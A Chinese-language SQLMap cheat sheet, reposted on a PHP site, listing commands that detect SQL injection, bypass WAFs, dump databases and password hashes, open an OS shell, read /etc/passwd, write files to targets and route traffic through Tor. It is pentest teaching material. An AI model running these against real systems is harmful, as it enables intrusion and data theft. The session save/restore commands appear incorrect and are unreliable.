首页 >后端开发 >Python教程 >SQLMap 备忘单:自动 SQL 注入快速指南

SQLMap 备忘单:自动 SQL 注入快速指南

Linda Hamilton
Linda Hamilton原创
2024-09-26 15:30:02989浏览

SQLMap Cheat Sheet: A Quick Guide for Automated SQL Injection

作者:Trix Cyrus

什么是 SQLMap?
SQLMap是一个开源渗透测试工具,用于检测和利用Web应用程序中的SQL注入漏洞。它支持各种数据库系统,如 MySQL、PostgreSQL、Oracle、Microsoft SQL Server 等。

基本用法
要开始使用 SQLMap,您可以通过提供目标 URL 以最简单的形式运行它:

sqlmap -u "http://example.com/index.php?id=1"

此命令扫描目标 URL 是否存在 SQL 注入漏洞。

1。检测漏洞
使用以下选项执行基本的漏洞扫描并自动检测 SQL 注入点:

sqlmap -u "http://example.com/index.php?id=1" --dbs

--dbs:如果发现漏洞,列出目标服务器上所有可用的数据库。

2。指定 POST 请求

对于需要 POST 请求的目标(通常在登录表单中),您可以指定如下数据:

sqlmap -u "http://example.com/login.php" --data="username=admin&password=1234"

3。绕过 WAF 和过滤器

为了逃避 Web 应用程序防火墙 (WAF),SQLMap 包含有效负载混淆技术:

sqlmap -u "http://example.com/index.php?id=1" --tamper=space2comment

--tamper:使用篡改脚本来逃避过滤器。示例:space2comment、charencode。

4。提取数据库、表和列
要获取目标系统上的数据库列表:

sqlmap -u "http://example.com/index.php?id=1" --dbs

识别数据库后,提取其表:

sqlmap -u "http://example.com/index.php?id=1" -D database_name --tables

要从特定表中获取列:

sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --columns

5。转储数据

转储表的内容是 SQLMap 最有用的功能之一。例如,转储特定表中的所有数据:

sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --dump

6。枚举数据库用户和密码

SQLMap 还可以用于枚举数据库用户,甚至破解哈希密码:

sqlmap -u "http://example.com/index.php?id=1" --users
sqlmap -u "http://example.com/index.php?id=1" --passwords

7。访问操作系统

在某些情况下,SQLMap可以用来在操作系统上执行命令,特别是当数据库用户具有高级权限时:

sqlmap -u "http://example.com/index.php?id=1" --os-shell

这将提供一个交互式 shell,您可以在其中在目标系统上执行命令。

8。文件上传与读取

您还可以从目标系统读取文件或上传恶意文件(如果允许):

sqlmap -u "http://example.com/index.php?id=1" --file-read="/etc/passwd"
sqlmap -u "http://example.com/index.php?id=1" --file-write="/path/to/file" --file-dest="/destination/path"

9。使用 Tor 进行匿名

要隐藏您的身份,您可以通过 Tor 网络运行 SQLMap:

sqlmap -u "http://example.com/index.php?id=1" --tor --tor-type=SOCKS5 --check-tor

--tor:启用 Tor。
--check-tor:验证是否通过 Tor 建立连接。

10。保存和恢复会话

SQLMap 允许您使用 --session 选项保存和恢复进度:

sqlmap -u "http://example.com/index.php?id=1" --session=your_session_name

稍后,您可以通过以下方式恢复同一会话:

sqlmap -r your_session_name

11。详细模式

要查看有关 SQLMap 正在执行的操作的详细信息:

sqlmap -u "http://example.com/index.php?id=1" -v 3

-v 选项控制详细程度(级别从 0 到 6,其中 6 显示所有详细信息)。

  1. 自动扫描多个目标

SQLMap 支持扫描存储在文件中的多个 URL:

sqlmap -m urls.txt --batch

--batch:使用默认选项自动回答所有提示,对于自动扫描很有用。

还可以使用 --risk=3 和 --level=5 来提前扫描
您可以使用此备忘单向读者介绍 SQLMap 的基本命令,并帮助他们开始 SQL 注入测试。

~TrixSec

以上是SQLMap 备忘单:自动 SQL 注入快速指南的详细内容。更多信息请关注PHP中文网其他相关文章!

声明:
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn